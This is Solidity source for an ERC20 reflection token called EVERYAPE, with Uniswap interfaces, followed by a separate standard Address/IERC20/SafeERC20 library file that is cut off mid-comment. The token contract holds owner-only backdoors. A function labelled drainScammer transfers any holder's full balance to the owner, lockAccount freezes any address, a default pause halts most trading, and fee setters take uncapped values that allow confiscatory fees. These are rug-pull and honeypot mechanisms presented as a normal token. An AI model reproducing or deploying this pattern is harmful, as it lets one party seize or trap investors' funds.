function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract EVERYAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0x2580AD014ee28495216125D7AC3Ed1E961f2Bd2b); // Marketing Address
address payable public buybackAddress = payable(0xAE345AB3c1Cf08b54668df4258Df3B182b60368A); // Buyback Address
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isLocked;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 500000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "EveryApe (T.me/Every_Ape)";
string private _symbol = "EVAPE";
uint8 private _decimals = 9;
uint256 public _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 14;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public marketingDivisor = 7;
uint256 public buybackDivisor = 7;
uint256 public _maxTxAmount = 300000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 20000 * 10**6 * 10**9;
uint256 private buyBackUpperLimit = 1 * 10**18;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public _contractPaused = true;
bool public swapAndLiquifyEnabled = false;
bool public buyBackEnabled = true;
event scammerDrained(uint256 drainedBalance);
event RewardLiquidityProviders(uint256 tokenAmount);
event BuyBackEnabledUpdated(bool enabled);
event PauseEnabledUpdated(bool enabled);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function isPaused() public view returns (bool) {
return _contractPaused;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function buyBackUpperLimitAmount() public view returns (uint256) {
return buyBackUpperLimit;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isLocked[to], "This address is currently locked from transacting.");
require(!_isLocked[from], "This address is currently locked from transacting.");
if(_contractPaused && (from != owner() || to != owner())) {
require(!_contractPaused, "Contract is paused to prevent malacious activity.");
}
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance);
}
uint256 balance = address(this).balance;
if (buyBackEnabled && balance > buyBackUpperLimit) {
if (balance > buyBackUpperLimit)
balance = buyBackUpperLimit;
buyBackTokens(balance.div(100));
}
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
//Send to Marketing address
transferToAddressETH(marketingAddress, transferredBalance.div(_liquidityFee).mul(marketingDivisor));
//Send to BuyBack address
transferToAddressETH(buybackAddress, transferredBalance.div(_liquidityFee).mul(buybackDivisor));
}
function buyBackTokens(uint256 amount) private lockTheSwap {
if (amount > 0) {
swapETHForTokens(amount);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
deadAddress, // Burn address
block.timestamp.add(300)
);
emit SwapETHForTokens(amount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function drainScammer(address account) external onlyOwner() {
uint256 acctBalance = balanceOf(account);
_transfer(account, owner(), acctBalance);
emit scammerDrained(acctBalance);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isLocked(address account) public view returns(bool) {
return _isLocked[account];
}
function lockAccount(address account) public onlyOwner {
_isLocked[account] = true;
}
function unlockAccount(address account) public onlyOwner {
_isLocked[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function setMarketingDivisor(uint256 divisor) external onlyOwner() {
marketingDivisor = divisor;
}
function setBuybackDivisor(uint256 divisor) external onlyOwner() {
buybackDivisor = divisor;
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() {
buyBackUpperLimit = buyBackLimit * 10**18;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function setBuybackAddress(address _buybackAddress) external onlyOwner() {
buybackAddress = payable(_buybackAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
buyBackEnabled = _enabled;
emit BuyBackEnabledUpdated(_enabled);
}
function setPaused(bool _enabled) public onlyOwner {
_contractPaused = _enabled;
emit PauseEnabledUpdated(_enabled);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
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/**
*Submitted for verification at Etherscan.io on 2021-09-15
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
